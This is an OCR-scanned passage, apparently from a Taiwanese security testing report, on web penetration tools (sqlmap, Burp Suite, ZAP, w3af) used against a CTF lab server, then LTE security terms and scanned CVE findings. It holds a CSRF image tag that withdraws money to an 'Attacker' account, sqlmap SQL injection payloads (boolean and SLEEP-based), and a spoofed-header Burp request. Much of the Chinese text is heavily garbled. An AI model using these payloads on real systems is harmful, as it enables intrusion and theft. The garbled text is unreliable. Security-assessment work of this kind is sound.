WAL R o - BRY H Ea 3B £ g E AT G iR reference > 4o
" - k3F € GBI LT iR MM HNERITE
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PR AN ORIV G P iE S B P INRR e AR IR e R
WP | kE X F R A gé'—m’%i}\ﬁ«%*“u»plf "ot 4 o )I‘
g (fk_ﬁ’fgﬁt?’ﬁ Re )‘16 I}E"Zj’txiﬁ mF' Mo

" ﬁ§i”uﬁﬁﬁM%im4*’gﬁﬁﬁﬁmﬂ%%ﬁﬁﬁz
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http://example.com/admin_dashboard

Me* A2 IR E R Y M- BT BN A cnifE e o B 2R
hofe | B EBES B R EFRIBOR LA QRS IR 3
P L%i,w%ﬂ@%mTww%?ﬁﬁwmﬁﬁﬁyﬁﬁﬁﬁﬁ
MTPmF

Feff ik 2 - i HTTP b ”éﬁ@”ﬁﬁ\%%%ﬁ
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WP | gexb o TP OF) L %4 xb 2 session ré AU o IR EREZ
HTTP 3R 228 chd & % K3 dehs B3 1 seF K3 enis
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BKF - T[Mif? ﬁﬂ%?@’* fesi it F ks a0 B
TRl B M 2 R S amount& NER I
account t& = ¢ o
B http://www.bank.com/withdraw?account=AccountName&amount=10
=+ 00
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| 3y | FEREIERY S SIER T KT

<img
src="http://www.bank.com/withdraw?account=Attacker&amount=10
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[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applic
cal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 22:39:26

:27] [WARNING] provided val

sqlmap resumed the following injection point(s) from stored session:

Parameter: user (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (Generic comment)
Payload: user=-8840' OR 5306=5306-- -&password=

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
Payload: user=' AND (SELECT * FROM (SELECT(SLEEP(5)))iHTL)#&password=

[22:39:27] [INFO] the back-end DBMS is MysQL

web server operating system: Linux Ubuntu

eb application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.6.0
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POST parameter 'user' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 680 HTTP(s) requests:
Parameter: user (POST)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (Generic comment)

Payload: user=-8840' OR 5306=5306-- -&password=

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
Payload: user=' AND (SELECT * FROM (SELECT(SLEEP(5)))iHTL)#&password=
[22:36:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0.12

B 4- 7 SQLMAP § # 2|65z 83 X

TR &R 0 SQLMAP 2 & & Ff 12

——\'-

trc B % L2 15 SQLMAP Fo WAL ¢ 18 T

Database: ctf
Table: users
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195 hitpd140.113.194.85.49173 GET ! D D 200 2239 HTML
197 hitpd140.113.194.85.49173 GET ! D D 200 2239 HTML
198 http://140.113.194.85:49178 GET Nlogin.php D D 200 3039 HTML
202 hitpiM140.113.194.85:49178 GET Nogin_fail.php D D 200 1504 HTML
32 http:/i140.113.194.85:49178 POST Ichecking.php 4 — Ana Az HTML
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{ Target T Positions T Payloads T Options ]

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are
assigned to payload positions - see help for full details.

Attack type: l Sniper

|'J

Start attack

POST /checking.php HTTP/L.L1 N T
Host: 140.113.154.85:45178 a §
User-Agent: Mozilla/5.0 (Windows NT &.1; WOWE4: rv:42.0) Gecko/Z0100101 Firefox/4Z.0 —
Accept: text/html,application/xhtml+xml, application/<ml;q=0.9,%/%;q=0.8 Clear §
Accept-Langquage: zh-TW,zh:qg=0.8,en-U5;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate .
Referer: http://140.113.154.85:49178/login. php Auto §
Cookie: money=S08 —
¥-Forwarded-For: 127.0.0.1 Refresh
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
account=Saaaafspassword=Saaaafsbutton=55ubni s
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0 matches Clear
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Burp Infruder Repeater Window Help
Target | Proxy | Spider | Scanner T Intruder T Repeater T Sequencer IDscnder I Comparer TE)dmdw T Options | Alerts
[ Extensions TBAppstore APls | Options }
BApp Store
The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp’s capabilities.
| Name | Installed \ Rating \ Detail \ \';
NET Beautifier O I& Blazer
Active Scan 8 Requires B. This extension can be used to generate and fuzz custom AMF
Additional Scanner Checks D Requires B messages. Itis designed and implemented to make AMF testing
I AES Payloads a8 Requires B. easy, and yet allows researchers to control fully the entire security
Authz. O testing process
Autorize O . . .
al Blazerimplements a new testing approach, introduced at Black
El D Hat USA 2012. This automated gray-box testing technigue allows
Bradamsa D security researchers to improve the coverage and the I
Browser Repeater O effectiveness of fuzzing efforts targeting complex applications
I| | Buby O Requires B.
Burp Chat O Features include:
Burp CSJ =] & Automatic Java objects generation from method signatures
Burp-hash o] Requires B. via Java reflection and "bestit” heuristics
I Bypass WAF O
& Fuzzing capabilities, with customizable data pools and attack
Carbonator O Requires B. vectors
co2 g
Content Type Converter O @ Ability to start, pause, restore and stop testing
Crypto Aftacker =] Requires B. & Easyto-use internal methods to construct custom AMF
CSRF Scanner O Requires B messages
CSurter o Embedded BeanShell fc | testi
Custom Logger a L ® Embedded BeanShell for manual testing L
ARASASASA L4 L4
| Refreshlist | | Manualinstal... |
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4. ZAP
OWASP =4« # &7 - T H#l1 & > & 5 OWASP Zed Attack Proxy

Project( ZAP )™ » it i 2 5 enfeipl o ZAP B- 2 TG E e R SRR %
T K T OLERE Y R S T R R EERY #Bia%’ii@
gzwg—'ﬂkifg‘? o pLECRE A e B R é’b%‘j SRt R s AP AR IBTE O . B

B1E-fR* cZAP & p &It iRF RIRGE 0 T 0 ¢ AR S S w AR K

"F*{ AR o R ﬂséﬁ»"%ﬁiﬁ'ﬁ%iﬁ PZAT o 1T - H or o i@ ¥ ZAP 07

ZAP % - 2 JAVA 7 ieiofest > Fpt p Xk X T AFE X IAVA- G5 o
4o [/ 4-17 ¢

! ! !
N FaEB&iE - OWASP ZAP 2.4.3 a = B3] X
=i miE BEE i IBE TR Online FEED
(StandardMode [w) || S M F & S *E 008 OSSO0 £V P ) 0% E R E |
@ s | J . Quickstart # | = R [mEe | 4
@ B3 Ir;
¥ (57 Contexts Welcome to the OWASP Zed Attack Pro
[£] Default Context ) ) ) ) ) o
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities ir
@
Please be aware that you should only attack applications that you have been specif
To quickly test an application, enter its URL below and press "Altack’. I/
URL to attack: hitp:if
L Hi B Stop
= N v
-l . e
AR LA
© @ | idEsd
Id | Req. Timest... |JE... | URL | Co... | Reason | R... | Size Resp. ... | Highest ... | M. |Tags |E
i
-
=
v
st WO WO RO R L 00 £0 20 @0 HO L0 Ho

E]4-17ZAPT§’*-%{/T&

T KR D ZAP 2 AR

™ OWASP, “OWASP Zed Attack Proxy Project”. [Online]. Available:
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project. [Accessed: 2016/2/14].
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@ % F¥ 2 URL to attack f§f i@ 38 » Zuipled et i2 1118 (4o ] 4- 18) > ZAP
TP FRAHEABEEFTTFRRE - PRERE P ZAP € 2T £ 707 iy 3 A
b0 T UEES G B (4e ] 4- 19) 0 Bhigd 2 T rsg BB L IE 35 BEeD A 5 (A0 )
4-20 2 {1 4-21) > > QB FHLBFLEBR

URL to attack: hitp:11140.113.194 85:81/problems @ Select
& BiE B stop

W] 4- 18 ZAP Bl e nt i 1=

FH KR ZAP 32 ABIEEE

Processed | FHik | URI
[*] GET hitp:4i140.113.194 85:81/
[} CGET hitp:ii140.113.194.85:81/submissions
= GET hitp:ii140.113.194.85:81/rank
= GET hitp:ii140.113.194.85:81/usersisign_up
= GET hitpiictf. ddaa.iwi
O GET hitp:#140.113.194 85:81/assets/application.css
Q GET hitp:140.113 194 85:81/assetsiapplication js
= GET hitp:ii140.113.194.85:81/material
=] GET https:/bamboaofox torchpad.com/
= POST hitp:ii140.113.194.85:81/usersisign_in
G‘ GET hitps:/bamboofox herokuapp.com/
"_‘ GET hitps:#fbamboofox slack.com/
"_‘ GET hitps:/ffgithub.comiwbs/bootstrapiblob/masteriLICENSE)
=] GET hitps:fgithub.com/hSbpihtmi5-boilerplate/blob/master/sre/cssimain.css
Q POST hitp:ii140.113.194.85:81/users

W] 4- 19 ZAP Blid % &

TR AR C ZAP 2 A B R

v [ EE (3)

» 5 M X-Frame-Options Header Not Set (6)
> ﬁ FiWeb Browser XSS Protection Mot Enabled ()
> ﬁ i ¥-Content-Type-Options Header Missing (6)

W 4- 20 ZAP RliE 2 % 4 2

TR kiR 0 ZAP 2 & B EIL

195

>
™

4% 7T T X B Y
DAL LT R

>
~



ZFEALETLXRPERTE (F1P) 22775 PrFEL

¥-Frame-Options Header Not Set
URL: hitp://140.113.194 85:81/robots
Risk: i Medium
Confidence: Medium
Parameter:
Altack:
Evidence:
CWE ID: 0
WASC ID: 0
Description:

X-Frame-Options header is not included in the HTTP response to protect against 'ClickJacking’ altacks.

Other Infi:

AL im T femm sl b memmmne il mad s leed mm slined sr csnane srene rnemAmSAS

W 4- 21 ZAP B2 % % Bk 4+ 7

FH kR 1 ZAP 2 A B E R

5. Wa3af

W3af ki - 2R ARt > £ 00 E4pF 272 - 2608 2l
) d 3 200 fA v Foenss BE > B AL e Cross-Site Scripting ~ SQL Injection

N D]

g

Mooz LERRPEPN T LR GRE KRR BRGSO & o W3af £ A
Wk PE RS- B R B TR ORI 4R (4ol 4-22)0 @7 K
FRE LS BT p T PN DR R BR LFE S LR E SRR G
R Fwmie B EAY o P W3af » 2 ¥TA T - 2P T

6N
® 3 ATA R 0 2 T o T A W3af ke i) o
W3af #8732 VA RV & 5 = BREf e
(1) % - ré#£< - discovery plugins ¢ 45 & A7 URLs ~ # ¥ {ofesk ¥ o3 » gt o
(2) % = rb& caudit plugins £-%F 5 — FF£LF5 DI~ BRI ~ PR OTOR K E F LT
% 358> 4o SQL i » o XSS %35 8 o
(3) % = FFf @ attack plugins 4-%t% = FEE IS D33 BLig w 418 * T IF
|4 remote shell ~ SQL table dump % -
n,ﬁ; TR FIehz BB adE 2 b ow3af ¢ § oAgiE 130 BE R TEREET A S

P A AR
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(1) Discovery : $5 & | ¢ i ~ B o

(2) Audit - d discovery plugins & 2 s % 35 & e 2L 33 8 o

(3) Grep:#F#F 13 M FHHFL UG Renss g -

(4) Exploit : ¢ auditplugins & 2 e % @ w 4 * —*Fﬁs * IR e

(5) Output: ¥5dFds % 22 v F 2L html cofhk » B ™ ¥ Ruk- s 49 o
(6) Mangle : 7 1% & R4 5 3% { s fifor & o

(7) Bruteforce : i¥&% 4 & » o

(8) Evasion : ¥ % ¥F i3 H i jp| » XA o

o
=

1w w3af g el B4-22 50 E A6 2 H

w3af - Web Application Attack and Audit Framework
Profiles Edit Tools Configuration Help
2 T I > 5T s 0O @& =
Scan config Exploit
Profiles Target: ”
empty-profile Active Plugin
OWASP_TOP10 > audit
audit_high_risk > auth
bruteforce L4 bruteforce
fast_scan 4 crawl
full_audit L4 evasion
full_audit_spider_man » grep
sitemap > infrastructure
web_infrastructure > mangle
Active Plugin
This is an empty profile that you can use
> @  output
to start a new configuration from

E]4-22W3affé’*-ﬁﬁfi

TR kR © Wa3af 2 & BRI
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Target: |http://140.113.194.85:81/

Active Plugin
> & audit

> & auth

> & bruteforce
> & crawl

> & evasion

> grep

> & infrastructure

W 4- 23 W3af #& |55 P

T kiR - W3af 2 & B R

ERRETY B 0 ¢ & Log 1§ 8ot # fe i A2 (] 4- 24) -

Scan config | Log | Results Exploit

2016501 H26H (M) 208%11403#] The uri parameter of ExtendedUrllib.POST() must be of url.URL type.

20165F01826H (I8 ) 208%114303%] The uri parameter of ExtendedUrllib.POST() must be of url.URL type.

20165E01H26H (M) 208%115303%] The remote Web server sent a strange HTTP response code: 400" with the message: "Bad Request”, manual
nspection is recommended. This information was found in the request with id 18.

20165018268 (1) 208%114303%] The ClamAV plugin failed to connect to clamd using the provided unix socket: “/var/run/clamav/clamd.ctl”. Please
lverify your configuration and try again.

20165F01826H (i) 208%114303%] The URL “http://140.113.194.85:81/%%75FF%30e\%uF %463%33%%75FF%34%38%u%46F %33a%%75F %46%31%
BA%uF%464e%%75FF2d%%75%46F%32%34%%75%406%46%354%%75%46%646%337%%75%46%465%33%uF$4654%uF $465%61%u%46%4617%%75F%
4637 %u%46F22%u%46F3%37%%75FF%329%u%46%46%35%34%%75F%46%34%38%uF%46%32%63\%uFF%30%65\%u%46F%30e%%75F%46-%31%32%%
[75F%46%2d%31%31%%75F%460%65\%%75%46F0e\" returned an HTTP response without the recommended HTTP header X-Content-Type-Options. This
nformation was found in the request with id 18.

& Vulnerabilities| & Information & Error ‘0\ Search

W] 4- 24 W3af # $5 i§ 42

FOR %R W3af 2 & B AL
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Fhaisv ﬁ—fg %L PRGN TF IR DB B 4o 4-25 ¢

£ Py Wik & % L W -<
Scanconfig Log  Results | Exploit
KBBrowser URLs Request/Response navigator
& vuln ¥ Info Misc SQL injection in a Unknown database was found at: "http://moth/w3af/audit/sql_injection/
select/sql_injection_string.php®, using HTTP method GET. The sent data was: "name=d %27z
Knowledge Base 9%220". This vulnerability was found in the request with id 1725.
v x5S (1)
> xss (39)
v sqli (1)
v sqli (2) Request Rwonse
[ sQL injection Raw Headers
(@ saL injection HTTP/1.1 200 OK

content-length: 308
content-encoding: gzip
x-powered-by: PHP/5.3.10-1lubuntu3.4
vary: Accept-Encoding

server: Apache/2.2.22 (Ubuntu)
date: Sat, 19 Jan 2013 20:17:18 GMT
content-type: text/html

Fatal error: Uncaught exception ‘Exception’' with message ‘Error
performing query: husers where name='d'z"@': <br /
>1064: You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right
syntax to use near 'z"0'' at line 1' in /var/www/moth/w3af/audit/
sql_injection/select/sql injection string.php:15
Stack trace:
#0 {main}

thrown in /var/www/moth/w3af/audit/sql injection/select/
sql injection string.php on line 15

04 Asar no

W 4- 25 W3af #4547 2

T kiR W3af 2 & B Ff A 32
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% 4-10 ZAP 2 W3af iP5 P R £
No. Test Name ZAP|W3af|| Other/Tools
4.2 [E R -
422 |#% Web @R E v v httprint
TR L A (7 RIR B AR A w R {3 RIE S AR
423 |[#H web RIRERE TN AA v v robots.txt
# % robots.txt ¥ ¥ s AR e R dmbk R A THEF D ohe 2 EFE G T
B B R A
426 |BWET A2 T L v v Webscarab
T ET A i B F 0 fe &% | 9 POST fr GET » ¥ #-& Sdicies
BT ok oo UG RIERR Y o
427 |HBEFRT B RGR Y v
PO A2 TR 4;_—1%* P R bRk R RS FH o
43  |FREEIF FERR
434 &K AR RIT TGS S || v v
AR LR
WER PRFLEIIE S LHEFRF Y X R ELTBAETRE
7t
438 | & RIA B340 v v
e B FREABFVRNERT BB R Raoiing
1.
4.5 % 38R
451 |REFEEL G e B E v Webscarab
FELERFEAL  FRANFAT G RO F o doigd SSLITLS
454 T 78 SR PR v
PIRAATE SRR T2 T oo
45.6 ||F50 X 43 53 BRI Y
Bl eBLE e FREFR -
4.6 FARRIE
46.1 |RIFFES D Brig P33 g v v
200
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No. Test Name ZAP ||W3af|| Other/Tools
RIFEERFR AF7RGd 7 GRAE PETHEETR
4.6.2 || AE SEE PR v WebScarab
R LfAEI HHERNEIRE R ATV AR -
46.3 |[#FEiERF v
AHEF T i2ec s d A PEH T
4.7 Session g IR
4.7.2 ||Cookies /41 P %
¥ & cookie Bt 0 EF ¥ i £ 3| cookie #3F o
475 |BERT Gk WebScarab
RIFLTRABRET 25
4.8 ﬁa‘l kAR
4.8.1 |RIEEES e %~ s B (XSS) v
RIFBAE fvi » grd > FRFTERF o FL 7 g = Cookie §5%~ -
4.85 ||P]:#E SQL ‘2451 ~ s H v ZAP(basic+fuzzer)
BlEEE T SQLEMA » e > REF R ERBBETHEN 7 o
4.8.6 |[LDAP ;x » jplz& LDAP Browser
P17 LDAP(IEA] P &3 P 123R) AT 7 il BB » T H 6 s o
4.8.9 |SSI L »pl3# WebScarab
# % Server Side Include ;& » F* 42
4.8.10 | XPath /2 » jp|3&
th & XPath ;x » B* 4% » &7 SQL "£ 781 » st A4p 12
4.8.11 |IMAP/SMTP ;L » ;|3
HIE AT G R
4.8.12 |[AB3CAH L~ PR v
BIFREE L~ AR B 0 4o PHP ~ ASP 25875 » 12 & ksl s Ak
#e g R
48.13 |3 {74p £ L~ R v WebScarab
RIBATF A~ dps > E g s e
4.8.14 % ¥ & PR v

B4R TR R
BALE - AR R ]
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No. Test Name ZAP ||W3af|| Other/Tools
RIREHRELT A B ) ARG RAFRF PG E N

4.8.16 |HTTP & &)/i% 3 Y v
BELE N FrkF A A2 HTTP -
4.9 45 I B3
49.1 |BFEAE A AT Vv
WA FABELTENIET N > 40 404,403 E3 480 ~ SQL 453E -
4.12 CR - Bl

~.

4.12.3 |HTML /& » p|3# v
ST LA o~ B X2 e g R e TR~ EE HTML &8 chik
i

4127 (BT RA S Y Y
R S IR CE SR et I

4.12.10 |[WebSockets ip]:# v v

t# & websocket £ F § % ~ BLE ALY A F o

TR KR D AW

4 s SN 202
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F428 ARARFTEETY

VLA AR R G AAH L FHB TR EE Y P Ee 3 S s (UE)
A k(eNodeB ~ Small cell ) ~ 2w R (EPC)E ~ 2 2 TXHITF L « A& ¢ 5 ¥
A ARG LTE p3Rehzete > M2 2 st it o LTE PR 24T - o &1 iF
B 35 2 = (UE) ~ AAxk(eNodeB)2 EPC 7wk b igdt 3k & didc g
SRR A KRR ng BARFE B E A o AR Y L A (Aot H KK~ Ak
Foo RRL)EBFE 2 A7 FHERG DR Pﬁm‘r;f SETE A % KRR T RRG A
AR enE 2R RIFCBRMEFB T LR AR TR 0 AR E AR Y
P2 ETHERE 2 LT 4 4-11

24U FHTEE T HRE CRHR

® 5HR Fr 2t
AES Advanced Encryption Standard
AKA Authentication and Key Agreement
AS Access Stratum
ASME Access Security Management Entity
AuC Authentication Center
AUTN Authentication Token
AV Authentication \Vector
CK Cipher Key
DRB Data Radio Bearer
EEA EPS Encryption Key
EIA EPS Integrity Key
eNB/eNodeB Evolved Node B
EPS Evolved Packet System
E-UTRAN Evolved Universal Terrestrial Radio Access Network
HSS Home Subscriber Server
IK Integrity Key

$ A% R TR R 208
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R ] S A
IMSI International Mobile Subscriber Identity
KDF Key Derivation Function
KSI Key Set Identifier
LTE Long Term Evolution
MAC Message Authentication Code
MAC-I Message Authentication Code for Integrity
MCC Mobile Country Code
ME Mobile Equipment
MME Mobility Management Entity
MNC Mobile Network Code
NAS Non Access Stratum
NAS-MAC Message Authentication Code for NAS for Integrity
NCC Next Hop Chaining Counter
NH Next Hop
PDCP Packet Data Convergence Protocol
PLMN Public Land Mobile Network
RAND RANDom number
RES Response
RRC Radio Resource Control
SN ID Serving Network IDentity
SQN Sequence Number
UE User Equipment
UP User Plane
USIM Universal Subscriber Identity Module
XRES Expected Response
ZUC Zu Chongzhi
TR KR ARG
$4F FEREHTEHIE] 204
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2
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%
St
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HRgF R m el 2 2 P Ea MU AP HEFFE > AT AFIRFLHLEL AT
L SEARAIE D S A R RS Hhe e TAITR 3 8RS IRIFZ F S UK
TEE P RS AR RS VAR 8 S BRI B R R e o E
fRAlEE KR R FRER A2 F MR/ S k1> LTE (Long Term Evolution >

E 9 R) 3T 4k 3GPP i TG AT- % B TAA I sz R e o

LTE = > 2 3c7 3G UMTS it 2 AR & % i JF 32 54 chpR
%“g&% ER Sl ﬁv@ﬁi&lﬁii Eopbate g LTE % 4E4cBl 4-260 A & 4 5 g4
2R E-UTRAN £ 4% 5228 2 EPC(Evolved Packet Core) » #it i @ﬁ%]" Ho A L

Control-plane ¥2 User-plane » #* 1 % &~ feRodrd|3te 2 * = F % @ﬁiﬁm?ﬁiﬁe 0

Control-plane & ﬂiﬁﬁ;ﬁ& % UEe eNodeB «MME » @ User-plane i# ﬁia?]&w; &
UE<eNodeB(Evolved Node B)—SGW(Serving Gateway)«—PGW/(Packet Data Network

vl

Gateway) o ¢ (€5 ¥ F »xeig Ik SL> $ 7 B a8 TR 8 ec 0 JFRR ke B

"EUTRAN | Tppcinmms 000 |

: %’%B : : N — 2 | HEER
i s88 =
] £ — — &

W 4-26 LTE %

TR &R ABEERD
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(- ) @&* '?,‘ %X E User Equipment (UE)

LR EAEY > - A dﬁ:}?*ﬁ St g2 G Jﬁ%t_%_ o BiE ¥ dﬁ%t%_ PET
- %RETE i—‘;{ g 709 SIM 4 5 SIM > £ x fLzo @ w0 % (Subscriber 1dentity
Module) » Z &4 SIM + % 5 LRG> 4 L BEF T EIRIE > SIM+ £ 35 %
FPORILER Y H e oG A IR Er CERTREFLEEF g I
E4FT REP R FhE 2 EEE AL o F P R AR e Ry hSIMF <
5T T i R 5 AT £ & 8 -+ (Universal Integrated circuit card, UICC) » &% %
USIM(Universal Subscriber Identity Module) & fic#t @ s SIM + e 5y > & B
[TS31.102] -

UE ez T#iir?]4 27> 2 & 2 T UICCH-rUE>m UICC & UE F 7 & &4 21
Mg Tk #HEFTH - 22 UICCHEFTFAA 4K ok iy 30T R
FRzH{é P HSS A o Aip B Y P UICC L7 iz UE» 1l A A 24 KT 7 ¢ ¢
PJUICC b enTe i 4 K eni@ i*ﬁﬂ’ﬁivg USIM & g R F 15 & 3GPP # >
UICC ik &+ A & & e #7105 w2 1%# UICC f ifenx > % Fom UE
PRV NS EART A RPALEE > BF Mg RE A Hce™ g2 o Mobile
Equipment(ME) - #7127 » A ez 2. ¢ »UE L 2 23X ME» e 8 % 5 #c¥ 113 4

W oo

W 4-27 6 KEY & % % KB UE ik if
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(=) wigad * & 3532 (Evolved Universal Terrestrial Radio Access
Network » E-UTRAN)

E-UTRAN &% 4 » ¢ 7 7 f = (Evolved Node B > eNodeB) » UE % eNodeB z_
R4 e LTE-Uu s 3 > % & % [TS36.300] - 4- @ 4-28 =7 > # %+ LTE-Uu

F3F s w3adp (Protocol Stack) @ B it B AT A L Z K o

- kL7 »’»ym&T&mPHY’?ixéﬁuﬁ%ﬂm,ﬁ\ AEL B P T e
P e e ARPUUBLL B - 4 1 HF 5] 4o Time Division Duplex (TDD ) ~ Frequency
Division Duplex(FDD )- ¢ #_LTE 4 * =3 0rthogonal Frequency Division Multiple Access
(OFDMA) > &7 @%Jjj:ﬁtr ( Multi-input Multi-output - MIMO ) %

o R EAPH B IR PR $1 & (Media Access Control - MAC) -
CEREE RS L LR BT s AT S TNT ET 2 “? e
7 I MAC K » (78 57 et 38 5 # 4 1 RLC {= PDCP 7 éi °RLC 2 & - sig

#4r#I(Radio Link Control)» i & £.# 7 7 #fiev b * 2L F L EENL
T % %[TS36.322]4 - @ PDCP 2 % £_Packet Data Convergence Protocol » * % i
B e R 0 T e B RS GRS PR (07 [T536.323] -

B+ K 7w s (EE 413 gL( Control Plane )& 48 3 k434 ( Radio Resource Control,
RRC) {= EPS {7 ¢ 1= (EPS Mobility Management, EMM ) » :& 5 #* = Fdeh- 45 IP
He o FHAMTRBER Y FFH > FHTHFREEY - LBIS P e k§ i
BEF R R e g e R A @RS F3 LR RRC % R g R ELAE ok 2o
m & RRC 2 F#F EMM> * % iv 7 S4F B cndpdl s iy o i2- B+ 7 rifiz
5 253% P~k (Non-Access Stratum » NAS) % & #[TS24.301] - » RRC £ IP i&— £ 7|
#2535k (Access Stratum > AS) o @ AL ¥ 0B HIFEFTHEE X2 A 6 40
B 4-29 5 12 3% 2 YEPRF% (Handover) » & § PR7+4p ) il 2 0 23 £ [7S36.423] -
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BE (% 1%) 23773

E N i

UE Uu eNB
£ &
RE&ER  EHR®
TCP/UDP EMM
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Cisco 10S Malformed IPV4
Packet Denial of Service
Vulnerability

CVE-2003-0567

Cisco 10S s 11.x ¥2 12.0 3] 12.2 f‘ué’ﬂiﬁuﬁ PR Sk
TREFEDNIPVA 4o Pl Bz e > 7320 o
#tEze & full » 5142 DoS -

OpenSSL Multiple Remote
Security Vulnerabilities

CVE-2014-0224,CVE-2014-0
221,CVE-2014-0195,CVE-20
14-0198,CVE-2010-5298,CV

E-2014-3470,CVE-2014-0076

SN

z % 78 OpenSSL 35 g :

CVE-2014-0224 4]* OpenSSL #/REHILT k4

handshake ¢t 4 g5 » E kP z’ﬁ:’x&f—g O fR

BED SR DR A FEFE PP R o

2. CVE-2014-0195 iz¥ ;’z«??‘f # - B2t e DTLS
fragments> ¥ 12 3 s # ﬁ % OpenSSL DTLS =client
B2 server i (7 X R, RN G o

3. CVE-2014-0221 i 3¥ ;’z«??‘f # 4 - B2t e DTLS
handshake %] OpenSSL clients if.:% 3+ 3 5 D0S sz # -

4. CVE-2014-0198 v 12 zE 5T # T:{ % - B NULL 4p1%
chF fRis & DOS st o

5. CVE-2010-5298 ;#IZ:QHF{ i% i ssI3_read_bytes
#cshrace condition R AE 0 3& » B session e L
—fﬁ # 3% DoS o # o

6. CVE-2014-3470 5 ! OpenSSL 1 TLS % = :{ B kx
% ¢ ECDH ciphersuites ¢ & ¥ v % %» i X DoS rz
#F o

CVE-2014-0076 4 41 %] = OpenSSL # § % swap ## ¥

ARG R #&%@ﬁﬁé’%ﬁi%%“%?

3% i FLUSH _RELOAD cache side-channel sz # {8

ECDSA = nonces -

=

5L G

SSL/TLS Server Factoring
RSA Export Keys (FREAK)
vulnerability

CVE-2015-0204

s3_clnt.c ¥ =ssl3_get_key exchange & #c iv 35 j& 18 SSL
BRFFETHR I F B BT 5 ME B
B REBEHE LIS DRI E 0 R K4 ORLE

2P oo

Apache HTTP Server Multiple
Cross-Site Scripting
Vulnerabilities

CVE-2007-6388, CVE-2007-
5000, CVE-2008-0005

Apache HTTP Server ¥ =ymod_status ~ mod_proxy_ftp ~
mod_imap - > 5 XSS 35 8. iFse FF 4~ B
P F RAARNAE o
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OpenSSH Signal Handling
Vulnerability

CVE-2006-5051,CVE-2006-4
924,CVE-2006-5052,CVE-20
06-4925,CVE-2006-5229

1. CVE-2006-5051 45 1 OpenSSH ¢ Signal handler =
race condition 7&*#:’4:1‘}*7 PUIR G R O s i%
= DoS 52 # o { B & & 4o % GSSAPI :u#% #

7 RE g ?ﬁ-ﬂmi—? AT E ARG o

2. CVE-2006-4924 3 ?I{?*f#m Be 3 248 R
e1SSH ¢ » 3k 4 % CPU # * F>ia DoS
RS

3. CVE-2006-5052 ¢ # f&

4. CVE-2206-4925 $I{§ A S =357
i = DoS -

CVE-2006-5229 4j »11’{?-?5'5’ M ERE R L ROk
*‘L:‘!r’/z‘mlé}y'ﬂ 7f«P—

OpenSSL Weak RSA Key
Exchange Vulnerability

CVE-2015-0204

s3_clnt.c ¥ =1ssl3_get_key exchange & #c iv 35 j& 18 SSL
q APy B g s F LR oy AhN W R
B REBBHE LI en B E o R K4 ORLE

ERIEIEE

SSH Protocol Version 1
Supported

CVE-2001-1473

SSH-1 #2 % ¢ ¥ B A sz > 53§ replay 0 3¢ %
Pis chogfgiE 4 PR B s FE P

gﬁ%g} ID i&m %% Agﬁ,p o

Microsoft Windows HTTP.sys
Remote Code Execution
Vulnerability (MS15-034)

CVE-2015-1635

Windows 7SP1, Windows Server 2008 R2 SP1, Windows
8, Windows 8.1 14 2 Windows Server 2012 Gold and R2

o sE R X G s JLIT A HTTP request %44 (7 i &,
A2V

EOL/Obsolete Software: PHP
5.3.x Detected

No CVE

PHP53x e SHFT > 2 # 4 SxP R » A 4H7 1
FUATERE  SEREARY PRADRY SRR
ik B R RS PP s TG e w3
1 PHP B3 4 0 33 8o & o

Cisco 10S Malformed IPV4
Packet Denial of Service
Vulnerability

CVE-2003-0567

Cisco I10S e 11.x ¥2 12.0 3] 12.2 ~ $xz§—‘k = aE
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https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4925
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5229
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0204
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1473
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0567
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2. #8335 2(Internal vulnerabilities)

ik i VR e R X TR PGSR A 4-21) R B - By
FAnafepm > Wi Bi- SR Y FHRELE» A PAE e T AENE > BB IrFiE Ak
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R 1R A R AR B A BRABEIE A TRERFER
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Oracle Java SE Critical Patch Update - October
2015
CVE-2015-4835,CVE-2015-4881,CVE-2015-4
843,CVE-2015-4883,CVE-2015-4860,CVE-20
15-4805,CVE-2015-4844,CVE-2015-4901,CV
E-2015-4868,CVE-2015-4810,CVE-2015-4806
,CVE-2015-4871,CVE-2015-4902,CVE-2015-4
840,CVE-2015-4882,CVE-2015-4842,CVE-20
15-4734,CVE-2015-4903,CVE-2015-4803,CV
E-2015-4893,CVE-2015-4911,CVE-2015-4872,
CVE-2015-4906,CVE-2015-4916,CVE-2015-4
908

P @ 2015 # L i o
& gL EAE >3 ]ava
R R L ATD 2 Java s
o R R e R st dF o

Microsoft Windows Remote Code Execution
Vulnerability (MS15-115)

CVE-2015-6100,CVE-2015-6101,CVE-2015-6
102,CVE-2015-6103,CVE-2015-6104,CVE-20
15-6109,CVE-2015-6113

Microsoft Windows Vista SP2,
Windows Server 2008 SP2 and R2 SP1,
Windows 7 SP1, Windows 8, Windows
8.1, Windows Server 2012 Gold and R2,
Windows RT Gold and 8.1, and
Windows 10 Gold and 1511 7 kernel =
FAE R ﬁﬂ’* M- B
* 42 3% (Windows Kernel Memory
Elevation of Privilege Vulnerability) j&

A %, st 3L
7% BfErL o

